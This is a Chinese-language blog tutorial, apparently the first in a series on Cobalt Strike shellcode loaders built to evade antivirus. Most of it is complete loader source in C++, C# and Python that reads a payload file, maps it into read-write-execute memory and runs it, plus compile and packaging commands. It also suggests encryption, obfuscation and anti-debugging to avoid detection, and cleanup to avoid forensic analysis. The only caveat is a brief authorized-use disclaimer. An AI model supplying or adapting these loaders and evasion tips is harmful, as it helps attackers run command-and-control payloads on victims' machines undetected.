news 2026/6/10 12:33:14

(一)从零开始学习CS Shellcode Loader免杀:基础Loader编写

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
(一)从零开始学习CS Shellcode Loader免杀:基础Loader编写

Shellcode Loader 编写指南

掌握 Shellcode Loader 的核心原理与多语言实现


什么是 Shellcode Loader?

Shellcode Loader 本质上是一个加载器,核心任务只有三步:

┌─────────────────────────────────────────────────────────┐ │ 1️⃣ 申请一块可执行的内存 │ │ 2️⃣ 把代码(Shellcode)放进去 │ │ 3️⃣ 执行它 │ └─────────────────────────────────────────────────────────┘

可以用 C/C++、Python、Go、C# 等任意语言来实现 Loader。


生成 Shellcode

使用 Cobalt Strike、msfvenom 等工具生成原始 Shellcode(.bin文件),这一步不是本节重点,假设你已经拥有了shellcode.bin


Loader 运转流程

┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ 读取二进制 │───▶│ 申请可执行 │───▶│ 复制到内存 │───▶│ 执行代码 │ │ shellcode │ │ 内存块 │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ └──────────────┘ 文件读取 VirtualAlloc memcpy 函数指针调用

编写 Loader

C++ 实现

最经典的方式,直接调用 Windows API:

#include<windows.h>#include<string>#include<iostream>#include<fstream>#include<sstream>#include<vector>// std::vector<char> 适合存放二进制数据std::vector<char>Load_File(conststd::string&path){// 使用 std::ios::binary 以二进制模式打开文件// 防止系统自动转换换行符(如 \r\n 转 \n),导致 shellcode 损坏// std::ios::ate 打开时把光标放在文件末尾,用来获取文件大小std::ifstreaminfile(path,std::ios::binary|std::ios::ate);if(!infile){std::cerr<<"[!] Cannot open file: "<<path<<std::endl;return{};}// 获取文件大小,infile.tellg 获取文件末尾光标位置std::streamsize size=infile.tellg();// 光标归零,否则无法从开头读文件infile.seekg(0,std::ios::beg);// 创建一个文件大小的内存空间存放 shellcodestd::vector<char>buffer(size);if(!infile.read(buffer.data(),size)){std::cerr<<"[!] Failed to read shellcode"<<std::endl;return{};}std::cout<<"[+] Loaded shellcode, length: "<<size<<" bytes"<<std::endl;returnbuffer;}intmain(){conststd::string shellcode_path="C:\\Users\\DEV\\Desktop\\CS_Shellcode\\shellcode.bin";// 1. 读取 shellcode 文件std::vector<char>shellcode=Load_File(shellcode_path);if(shellcode.empty()){std::cerr<<"[!] Shellcode is empty, exit."<<std::endl;return1;}// 2. 申请一块可执行的内存// MEM_COMMIT | MEM_RESERVE = 预定并提交内存// PAGE_EXECUTE_READWRITE = 可读可写可执行void*exec=VirtualAlloc(nullptr,// LPVOID lpAddress (nullptr = 系统决定地址)shellcode.size(),// SIZE_T dwSizeMEM_COMMIT|MEM_RESERVE,// DWORD flAllocationTypePAGE_EXECUTE_READWRITE// DWORD flProtect);if(exec==nullptr){std::cerr<<"[!] VirtualAlloc failed! Error: "<<GetLastError()<<std::endl;return1;}std::cout<<"[+] Memory allocated at:0x"<<std::hex<<exec<<std::endl;// 3. 将 shellcode 复制到这块内存中memcpy(exec,shellcode.data(),shellcode.size());std::cout<<"[*] Executing shellcode..."<<std::endl;// 4. 将内存地址转为函数指针并执行// C风格函数指针:(return_type(*)(args)) address((void(*)())exec)();return0;}

编译提示:

# 32位x86_64-w64-mingw32-g++-oloader.exe loader.cpp-s# 64位x86_64-w64-mingw32-g++-oloader.exe loader.cpp-s-m64

C# 实现

利用 .NET 的MarshalVirtualAlloc(通过 P/Invoke):

usingSystem;usingSystem.IO;usingSystem.Runtime.InteropServices;namespaceShellCode_loader{classProgram{// 从Kernel32.dll导入windows API[DllImport("kernel32.dll",SetLastError=true,ExactSpelling=true)]staticexternIntPtrVirtualAlloc(IntPtrlpAddress,uintdwSize,uintflAllocationType,uintdwFreeType);[DllImport("kernel32.dll",SetLastError=true)]staticexternboolVirtualFree(IntPtrlpAddress,uintdwSize,uintdwFreeType);// 添加委托定义[UnmanagedFunctionPointer(CallingConvention.StdCall)]delegatevoidDelegateNoParam();// Memory ConstantsconstuintMEM_COMMIT=0x1000;constuintMEM_RESERVE=0x2000;constuintPAGE_EXECUTE_READWRITE=0x40;constuintMEM_RELEASE=0x8000;// 读取shellcode 文件staticbyte[]LoaderShellcode(stringpath){if(!File.Exists(path)){Console.WriteLine($"[!] File not found :{path}");returnArray.Empty<byte>();}byte[]shellcode=File.ReadAllBytes(path);Console.WriteLine($"[+] Loaded shellcode :{shellcode.Length}bytes");returnshellcode;}staticvoidMain(string[]args){stringshellcodePath=@"C:\Users\DEV\Desktop\CS_Shellcode\shellcode.bin";// 读取shellcodebyte[]shellcode=LoaderShellcode(shellcodePath);if(shellcode.Length==0){Console.WriteLine("[!] Shellcode is empty, exit.");return;}IntPtrexec=VirtualAlloc(IntPtr.Zero,(uint)shellcode.Length,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(exec==IntPtr.Zero){Console.WriteLine($"[!] VirtualAlloc failed! Error :{Marshal.GetLastWin32Error}");return;}Console.WriteLine($"[+] Memory alloacted at : 0x{exec.ToInt64():X}");try{// 将shellcode复制到内存中Marshal.Copy(shellcode,0,exec,shellcode.Length);Console.WriteLine("[*] Executing shellcode...");// zhixingshellcode// 将IntPtr转换为委托,然后调用varexecFunc=(DelegateNoParam)Marshal.GetDelegateForFunctionPointer(exec,typeof(DelegateNoParam));execFunc();}catch(Exceptionex){Console.WriteLine($"[!] Execution error :{ex.Message}");}//finally//{// // 清理内存// VirtualFree(exec, 0, MEM_RELEASE);//}}}}

编译提示:

# 32位csc.exe/platform:x86/out:loader.exe loader.cs# 64位csc.exe/platform:x64/out:loader.exe loader.cs

⚠️注意:C# 编译后的平台位数需要与 shellcode 的架构匹配,否则无法正常执行。


Python 实现

使用ctypes调用 Windows API:

# 通过ctypes调用Windows APIimportctypesimportosfromctypesimportwintypes# ============================================================# 常量定义# ============================================================MEM_COMMIT=0x1000MEM_RESERVE=0x2000PAGE_EXECUTE_READWRITE=0x40MEM_RELEASE=0x8000# ============================================================# 定义函数原型 (从 kernel32.dll 引入)# ============================================================kernel32=ctypes.WinDLL('kernel32.dll')VirtualAlloc=kernel32.VirtualAlloc VirtualAlloc.argtypes=[wintypes.LPVOID,ctypes.c_size_t,ctypes.c_ulong,ctypes.c_ulong]VirtualAlloc.restype=wintypes.LPVOID VirtualFree=kernel32.VirtualFree VirtualFree.argtypes=[wintypes.LPVOID,ctypes.c_size_t,ctypes.c_ulong]VirtualFree.restype=wintypes.BOOL RtlMoveMemory=kernel32.RtlMoveMemory RtlMoveMemory.argtypes=[wintypes.LPVOID,wintypes.LPCVOID,ctypes.c_size_t]RtlMoveMemory.restype=Nonedefload_shellcode(path:str)->bytes:# 以二进制方式读取shellcodeifnotos.path.exists(path):raiseFileNotFoundError(f"[!] File not found:{path}")withopen(path,'rb')asf:data=f.read()print(f"[+] Loaded Shellcode:{len(data)}bytes")returndatadefmain():shellcode_path="C:\\Users\\Dev\\Desktop\\Shellcode_Loader\\1.bin"try:shellcode=load_shellcode(shellcode_path)exceptFileNotFoundErrorase:print(e)returntry:exec=VirtualAlloc(None,# 自动分配地址len(shellcode),# 分配内存大小MEM_COMMIT|MEM_RESERVE,#预定内存PAGE_EXECUTE_READWRITE# 可读可写可执行)except:print(f"[!] VirtualAlloc failed! Error:{ctypes.get_last_error()}")returnprint(f"[+] Memory allocated at: 0x{ctypes.cast(exec,wintypes.LPVOID).value:X}")try:# 将shellcode复制到内存中RtlMoveMemory(exec,shellcode,len(shellcode))print("Executing shellcode...")# 执行shellcodectypes.cast(exec,ctypes.CFUNCTYPE(None))()except:print("RtlMoveMemory Fail")# finally:# # 清理内存# VirtualFree(exec, 0, MEM_RELEASE)# print("[*] Memory released.")if__name__=="__main__":main()

运行提示:

# 需要管理员权限(部分系统)python loader.py# 或使用 pyinstaller打包为 exepyinstaller--onefile--console loader.py

三种实现对比

特性C++C#Python
执行速度⚡ 最快⚡ 快🐢 较慢
体积中等需要 Python 环境
隐蔽性
跨平台难度需改写需改写较易
内存操作直接调用 API需 P/Invokectypes
适用场景实战渗透.NET 域内横向快速验证

注意事项

⚠️安全研究用途:Shellcode Loader属于安全研究技术,请仅在授权的渗透测试、CTF 竞赛或安全研究环境中使用。

  1. 平台匹配:Shellcode 必须与 Loader 的位数(32/64 bit)匹配
  2. 杀软检测:内存执行操作容易被杀软检测,可结合加密、混淆、反调试等技术
  3. 管理员权限:部分系统需要管理员权限才能分配可执行内存
  4. 清理痕迹:执行完毕后记得释放内存,避免被取证分析

扩展阅读

  • 加密加载器(XOR、AES加密 Shellcode)
  • 反调试技术
  • Process Injection(进程注入)
  • Amacom 混淆框架
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 12:24:18

基于 Harmony 6.0 应用的乐器自学应用首页实现

基于 Harmony 6.0 应用的乐器自学应用首页实现 前言 乐器自学是疫情后最被需要的兴趣赛道——吉他、尤克里里、钢琴、口琴等便于上手的乐器在年轻人中重新流行。一款好的乐器自学应用要把"今天练什么 / 我的进度 / 听我弹得对不对 / 怎么持续练习"四件事在一屏内全部…

作者头像 李华
网站建设 2026/6/10 12:10:57

Data-Centric AI:重构数据生命周期的五大可落地要素

1. 这不是“换个说法”的AI&#xff0c;而是重构整个数据生命周期的实践体系 “Data-Centric AI”这个词&#xff0c;过去三年在技术会议、论文摘要和招聘JD里高频出现&#xff0c;但多数人听到后第一反应是&#xff1a;“哦&#xff0c;就是强调数据质量吧&#xff1f;”——这…

作者头像 李华
网站建设 2026/6/10 12:09:39

避坑指南:unc0ver vs Chimera,给iOS 12设备越狱到底该选谁?

iOS 12越狱工具深度对比&#xff1a;unc0ver与Chimera的终极选择指南对于仍在使用iOS 12设备&#xff08;特别是iPhone 6这类经典机型&#xff09;的技术爱好者来说&#xff0c;越狱依然是释放设备潜力的有效途径。2023年的越狱生态已经发生了显著变化&#xff0c;unc0ver和Chi…

作者头像 李华